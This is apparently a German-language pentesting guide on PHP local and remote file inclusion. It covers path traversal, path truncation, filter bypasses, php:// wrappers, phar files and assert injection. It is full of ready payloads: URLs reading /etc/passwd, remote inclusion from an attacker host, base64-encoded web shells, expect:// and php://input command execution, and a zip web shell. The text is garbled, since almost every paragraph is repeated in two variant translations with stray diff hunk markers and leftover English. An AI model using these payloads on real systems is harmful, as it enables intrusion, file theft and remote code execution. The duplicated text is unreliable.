Das Dateisystem eines Servers lässt sich rekursiv untersuchen, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das gezielte Prüfen auf das Vorhandensein bestimmter Ordner. Im Folgenden eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann rekursiv durchsucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Vorgang umfasst das Bestimmen der Verzeichnistiefe und das Abfragen der Existenz konkreter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:
1. **Bestimme die Verzeichnistiefe:** Ermittele die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die `/etc/passwd`-Datei abrufst (sofern der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
1. **Verzeichnistiefe bestimmen:** Ermittele die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die `/etc/passwd`-Datei abrufst (anwendbar, wenn der Server Linux-basiert ist). Ein Beispiel-URL könnte wie folgt strukturiert sein und eine Tiefe von drei anzeigen:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
2. **Auf Ordner prüfen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ergebnisse interpretieren:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht am angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.
3. **Ergebnisse interpretieren:** Die Server-Antwort zeigt an, ob das Verzeichnis existiert:
- **Fehler / Keine Ausgabe:** Das Verzeichnis `private` existiert wahrscheinlich nicht am angegebenen Pfad.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Verzeichnisses `private` wird bestätigt.
4. **Rekursive Erkundung:** Gefundene Verzeichnisse können mithilfe derselben Technik oder traditioneller Local File Inclusion (LFI)-Methoden weiter auf Unterverzeichnisse oder Dateien überprüft werden.
Um Verzeichnisse an anderen Orten im Dateisystem zu erkunden, passe die payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
Um Verzeichnisse an anderen Orten im Dateisystem zu erkunden, passe die Payload entsprechend an. Um zum Beispiel zu prüfen, ob `/var/www/` ein Verzeichnis `private` enthält (angenommen, das aktuelle Verzeichnis befindet sich auf einer Tiefe von 3), verwende:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad so zu konstruieren, dass er, nachdem er von der Sicherheitsmaßnahme verändert wurde, immer noch auf die gewünschte Datei zeigt.
Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Ziel ist es, einen Dateipfad zu erstellen, der, nachdem die Sicherheitsmaßnahme ihn verändert hat, immer noch auf die gewünschte Datei zeigt.
In PHP können verschiedene Repräsentationen eines Dateipfads aufgrund der Eigenschaften des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die Ziel-Datei nicht.
- Ähnlich verhält es sich, wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`); das Hinzufügen von `/.` am Ende ändert nicht die aufgerufene Datei.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (dadurch `passwd/`) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), ändert das Hinzufügen von `/.` am Ende nicht die aufgerufene Datei.
Die folgenden Beispiele zeigen, wie path truncation genutzt werden kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seiner sensiblen Inhalte (Benutzerkontoinformationen):
Die folgenden Beispiele zeigen, wie man Path truncation nutzt, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel wegen seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -124,17 +124,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
In diesen Szenarien kann die Anzahl der benötigten Traversals etwa 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.
In diesen Szenarien könnte die Anzahl der benötigten Traversals bei etwa 2027 liegen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
- **Verwendung von Dot-Segmenten und zusätzlichen Zeichen**: Traversal-Sequenzen (`../`) in Kombination mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und dabei effektiv vom Server angehängte Zeichenfolgen zu ignorieren.
- **Bestimmung der benötigten Anzahl an Traversals**: Durch Ausprobieren kann man die genaue Anzahl an `../`-Sequenzen finden, die erforderlich ist, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu gelangen, wobei angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) erhalten bleibt.
- **Beginn mit einem Fake-Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen.
- **Verwendung von Dot Segments und zusätzlichen Zeichen**: Traversal-Sequenzen (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Zeichenketten des Servers effektiv zu ignorieren.
- **Bestimmung der benötigten Anzahl an Traversals**: Durch Versuch und Irrtum kann man die genaue Anzahl von `../`-Sequenzen herausfinden, die nötig ist, um zum Root-Verzeichnis und anschließend zu `/etc/passwd` zu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) erhalten bleibt.
- **Mit einem falschen Verzeichnis beginnen**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (z. B. `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen eingesetzt.
Beim Einsatz von Techniken zum Kürzen von Pfaden ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Beim Einsatz von path truncation techniques ist es entscheidend, das Pfadparsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
**This vulnerability was corrected in PHP 5.3.**
### **Tricks zum Umgehen von Filtern**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -144,45 +144,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php ist das standardmäßig deaktiviert, weil **`allow_url_include`** **Off.** ist. Es muss **On** sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
In php ist das standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erreichen:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, PHP aber den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kannst du zum Beispiel das data protocol mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erreichen:
Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** steht, PHP den Zugriff auf externe Webseiten aber **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) kann man zum Beispiel das data-Protokoll mit base64 verwenden, um b64 PHP-Code zu dekodieren und RCE zu erlangen:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endet. Die Zeichenkette endet also damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code wird eingebunden (und damit ausgeführt).
>
> Ein weiteres Beispiel, das **nicht das `php://`-Protokoll** verwendet, wäre:
> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer einen String benötigte, der auf `.txt` endet. Der String endet damit, und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code eingebunden (und somit ausgeführt).
Ein weiteres Beispiel **das nicht das `php://`-Protokoll verwendet** wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root-Element
In python, in einem code wie diesem:
In Python in einem Code wie diesem:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Wenn der Benutzer einen **absolute path** an **`file_name`** übergibt, wird der **previous path** einfach entfernt:
Wenn der Benutzer einen **absoluten Pfad** an **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Das ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Es ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird bei der absoluten Pfadkomponente fortgesetzt.
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
## Java Verzeichnisauflistung
## Java Verzeichnisse auflisten
Es scheint, dass wenn man eine Path Traversal in Java hat und **ein Verzeichnis anfragt** statt einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß).
Es sieht so aus, dass wenn du einen Path Traversal in Java hast und du **nach einem Verzeichnis fragst** statt nach einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben** wird. Das wird in anderen Sprachen nicht passieren (afaik).
## Top 25 Parameter
Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI)-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI) vulnerabilities sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -214,7 +214,7 @@ Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusio
### php://filter
PHP-Filters erlauben es, grundlegende **Modifikationsoperationen an den Daten** durchzuführen, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
PHP-Filters erlauben grundlegende **Modifikationsoperationen an den Daten**, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
@ -227,19 +227,19 @@ PHP-Filters erlauben es, grundlegende **Modifikationsoperationen an den Daten**
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Wandelt in eine andere Codierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Encodings** zu erhalten, führe in der Konsole aus: `iconv -l`
- `convert.iconv.*` : Wandelt in eine andere Kodierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führe in der Konsole aus: `iconv -l`
> [!WARNING]
> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include beliebigen Text verarbeiten zu lassen. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Durch Missbrauch des `convert.iconv.*` Konvertierungsfilters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder Funktionen wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim Exfiltrieren großer Datenmengen)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viel Information exfiltriert werden soll)
- `zlib.inflate`: Dekomprimiert die Daten
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- `mcrypt.*` : veraltet
- `mdecrypt.*` : veraltet
- Other Filters
- Wenn du in PHP `var_dump(stream_get_filters());` ausführst, findest du ein paar **unerwartete Filter**:
- Wenn man in php `var_dump(stream_get_filters());` ausführt, findet man ein paar **unerwartete Filter**:
- `consumed`
- `dechunk`: kehrt HTTP chunked encoding um
- `convert.*`
@ -270,39 +270,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Der Teil "php://filter" ist case-insensitive
> Der Teil "php://filter" ist nicht case-sensitiv
### Verwendung von php filters als Oracle, um beliebige Dateien zu lesen
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration of the file (char by char) using php filters as oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Exception wirft.
[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration der Datei (char für char) unter Verwendung von php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so zu vergrößern, dass php eine Exception wirft.
Im Originalpost findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
Im Originalbeitrag findet sich eine ausführliche Erklärung der Technik, hier eine kurze Zusammenfassung:
- Verwende den Codec **`UCS-4LE`**, um führende Zeichen des Textes am Anfang zu lassen und die String-Größe exponentiell zu erhöhen.
- Das wird genutzt, um einen **Text so groß zu erzeugen, dass beim korrekten Erraten des Anfangsbuchstabens** php einen **Fehler** auslöst.
- Der **dechunk** filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, daher können wir wissen, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen (und weiteren Filtern abhängig vom geratenen Buchstaben), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir sehen, wann genügend Transformationen durchgeführt wurden, sodass es kein hexadezimales Zeichen mehr ist. Denn wenn es hex ist, löscht dechunk es nicht und die anfängliche Bombe löst den php-Fehler aus.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem codec: a -> b). Das erlaubt uns herauszufinden, ob der erste Buchstabe z. B. ein `a` ist, weil wenn wir diesen Codec 6mal anwenden a->b->c->d->e->f->g, das Zeichen kein hexadezimales Zeichen mehr ist, daher löscht dechunk es nicht und der php-Fehler wird durch die anfängliche Bombe ausgelöst.
- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, weitere Zeichen wie n, o, p, q, r zu leaken (und andere Codecs können benutzt werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-codiert werden und man leaket die ersten 2 Buchstaben, um die Zahl zu exfiltrate.
- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leaket**. Durch Verwendung von order memory filters wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und in der ersten Position andere Zeichen des Textes zu bekommen.
- Und um weiterhin **weitere Daten** erhalten zu können, ist die Idee, **zwei Bytes Junk-Daten am Anfang** zu generieren mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um mit den nächsten 2 Bytes zu pivotieren, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Texts). Dies wird so lange fortgesetzt, bis man das gewünschte Bit erreicht hat, das geleakt werden soll.
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
Im Post wurde auch ein Tool veröffentlicht, das dies automatisiert: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Im Beitrag wurde auch ein Tool veröffentlicht, das dies automatisiert: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
Dieser Wrapper erlaubt den Zugriff auf File-Deskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrate:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Du kannst außerdem **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (nicht sicher, wie das in einem Angriff nützlich sein könnte)
Du kannst auch **php://stdin, php://stdout und php://stderr** verwenden, um jeweils auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (nicht sicher, wie das in einem Angriff nützlich sein könnte)
### zip:// and rar://
Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.\
Um das rar protocol missbrauchen zu können, muss es **speziell aktiviert werden**.
Um das rar-Protokoll missbrauchen zu können, **muss es speziell aktiviert werden**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -331,20 +331,20 @@ Beachte, dass dieses Protokoll durch die php-Konfigurationen **`allow_url_open`*
### expect://
Expect muss aktiviert sein. Du kannst damit Code ausführen:
Expect muss aktiviert sein. Du kannst Code damit ausführen:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Gib dein payload in den POST-Parametern an:
Geben Sie Ihr Payload in den POST-Parametern an:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Eine `.phar`-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien verwendet. Der untenstehende PHP-Codeausschnitt demonstriert die Erstellung einer `.phar`-Datei:
Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der unten stehende PHP-Code zeigt die Erstellung einer `.phar`-Datei:
```php
<?php
$phar = new Phar('test.phar');
@ -353,15 +353,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:
Zum Kompilieren der `.phar`-Datei muss der folgende Befehl ausgeführt werden:
```bash
php --define phar.readonly=0 create_path.php
```
Beim Ausführen wird eine Datei namens `test.phar` erstellt, die möglicherweise dazu verwendet werden kann, Local File Inclusion (LFI) vulnerabilities auszunutzen.
Beim Ausführen wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) vulnerabilities verwendet werden kann.
Wenn das LFI lediglich Dateien liest, ohne darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — kann versucht werden, eine deserialization vulnerability auszunutzen. Diese vulnerability steht im Zusammenhang mit dem Lesen von Dateien über das `phar` protocol.
Wenn das LFI nur Dateilesen durchführt, ohne den darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — kann versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Für ein detailliertes Verständnis der Ausnutzung von deserialization vulnerabilities im Kontext von `.phar`-Dateien siehe das unten verlinkte Dokument:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -372,53 +372,53 @@ phar-deserialization.md
### CVE-2024-2961
Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um RCE zu erhalten. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: ein **3 byte overflow** im PHP-Heap wurde ausgenutzt, um die **Kette freier Chunks** einer bestimmten Größe zu **verändern**, sodass man **anything in any address** schreiben konnte; dadurch wurde ein Hook hinzugefügt, der **`system`** aufruft.\
Es war möglich, Chunks spezifischer Größen zu allocen, indem weitere php filters missbraucht wurden.
Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um eine RCE zu erreichen. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: ein **3 byte overflow** im PHP-Heap wurde missbraucht, um **alter the chain of free chunks** einer bestimmten Größe zu verändern, um **write anything in any address** zu ermöglichen, sodass ein Hook hinzugefügt wurde, der **`system`** aufruft.\
Es war möglich, Chunks spezifischer Größe zu allocaten, indem weitere php filters missbraucht wurden.
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Siehe weitere mögliche[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben in memory oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressions-Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die dem Muster entsprechen (gibt nichts Printbares zurück, daher hier nicht wirklich nützlich)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (nicht nützlich, um arbitrary files zu lesen)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (nicht nützlich, um beliebige Dateien zu lesen)
## LFI via PHP's 'assert'
Die Risiken durch Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die Funktion 'assert' verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist insbesondere problematisch, wenn Eingaben mit directory traversal Zeichen wie ".." geprüft, aber nicht korrekt bereinigt werden.
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die 'assert'-Funktion verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Input, der directory traversal characters wie ".." enthält, geprüft aber nicht korrekt bereinigt wird.
Zum Beispiel könnte PHP-Code so gestaltet sein, dass directory traversal verhindert werden soll:
Zum Beispiel könnte PHP-Code so gestaltet sein, um directory traversal zu verhindern:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies zum Lesen von Dateiinhalten auszunutzen, könnte ein Angreifer Folgendes verwenden:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ebenso könnte man, um beliebige Systembefehle auszuführen, folgendes verwenden:
Ähnlich kann man zum Ausführen beliebiger Systembefehle beispielsweise Folgendes verwenden:
```plaintext
' and die(system("id")) or '
```
Es ist wichtig, diese Payloads URL-encode zu senden.
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen du den file path einer PHP function kontrollierst, die auf eine Datei zugreift, du den Inhalt der Datei aber nicht sehen wirst (wie ein einfacher Aufruf von **`file()`**), weil der Inhalt nicht angezeigt wird.
> Diese Technik ist relevant in Fällen, in denen du den **Dateipfad** einer **PHP-Funktion** **kontrollierst**, die auf eine **Datei zugreift**, du aber den Inhalt der Datei nicht sehen wirst (z. B. ein einfacher Aufruf von **`file()`**).
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter missbraucht werden kann, um den Inhalt einer Datei via error oracle zu exfiltrate.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blindes Path Traversal über PHP-Filter missbraucht werden kann, um **exfiltrate the content of a file via an error oracle**.
Zusammenfassend verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP function, die die Datei öffnet**, einen **error** auslöst.
